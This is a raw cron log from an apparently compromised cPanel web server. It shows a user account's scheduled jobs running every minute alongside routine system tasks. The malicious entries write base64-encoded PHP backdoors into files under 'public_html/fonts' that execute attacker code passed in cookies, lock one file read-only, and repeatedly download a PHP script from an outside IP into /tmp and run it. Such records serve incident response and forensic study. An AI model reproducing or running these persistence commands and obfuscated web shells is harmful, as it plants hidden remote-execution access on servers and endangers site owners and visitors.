Sep 20 04:50:01 ip-184-168-122-23 CROND[24279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:50:01 ip-184-168-122-23 CROND[24281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:51:01 ip-184-168-122-23 CROND[24548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:51:01 ip-184-168-122-23 CROND[24550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:51:01 ip-184-168-122-23 CROND[24552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:51:01 ip-184-168-122-23 CROND[24551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:52:01 ip-184-168-122-23 CROND[24915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:52:01 ip-184-168-122-23 CROND[24917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:52:01 ip-184-168-122-23 CROND[24919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:52:01 ip-184-168-122-23 CROND[24918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:52:01 ip-184-168-122-23 CROND[24920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:53:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:53:01 ip-184-168-122-23 CROND[25360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:53:01 ip-184-168-122-23 CROND[25364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:53:01 ip-184-168-122-23 CROND[25363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:54:01 ip-184-168-122-23 CROND[25613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:54:01 ip-184-168-122-23 CROND[25612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:54:01 ip-184-168-122-23 CROND[25616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:54:01 ip-184-168-122-23 CROND[25614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:54:01 ip-184-168-122-23 CROND[25615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:55:01 ip-184-168-122-23 CROND[25862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:55:01 ip-184-168-122-23 CROND[25863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:55:01 ip-184-168-122-23 CROND[25865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:55:01 ip-184-168-122-23 CROND[25870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:55:01 ip-184-168-122-23 CROND[25869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:55:01 ip-184-168-122-23 CROND[25868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:56:01 ip-184-168-122-23 CROND[26093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:56:01 ip-184-168-122-23 CROND[26097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:56:01 ip-184-168-122-23 CROND[26096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:56:01 ip-184-168-122-23 CROND[26098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:56:01 ip-184-168-122-23 CROND[26099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:57:01 ip-184-168-122-23 CROND[26343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:57:01 ip-184-168-122-23 CROND[26344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:57:01 ip-184-168-122-23 CROND[26346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:57:01 ip-184-168-122-23 CROND[26347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:57:01 ip-184-168-122-23 CROND[26349]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep 20 04:57:49 ip-184-168-122-23 crontab[26642]: (root) LIST (root)
Sep 20 04:57:49 ip-184-168-122-23 crontab[26644]: (root) LIST (root)
Sep 20 04:57:56 ip-184-168-122-23 crontab[26748]: (root) LIST (root)
Sep 20 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 20 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 20 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 20 04:58:01 ip-184-168-122-23 CROND[26837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:58:01 ip-184-168-122-23 CROND[26838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:58:01 ip-184-168-122-23 CROND[26840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:58:01 ip-184-168-122-23 CROND[26842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:58:01 ip-184-168-122-23 CROND[26841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:59:01 ip-184-168-122-23 CROND[27241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:59:01 ip-184-168-122-23 CROND[27243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:59:01 ip-184-168-122-23 CROND[27242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:59:01 ip-184-168-122-23 CROND[27244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:00:01 ip-184-168-122-23 CROND[27518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:00:01 ip-184-168-122-23 CROND[27521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:00:01 ip-184-168-122-23 CROND[27529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:01:01 ip-184-168-122-23 CROND[27790]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 05:01:01 ip-184-168-122-23 CROND[27792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:01:01 ip-184-168-122-23 CROND[27796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:01:01 ip-184-168-122-23 CROND[27793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:01:01 ip-184-168-122-23 CROND[27794]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 05:01:01 ip-184-168-122-23 CROND[27795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27794]: starting 0anacron
Sep 20 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27811]: finished 0anacron
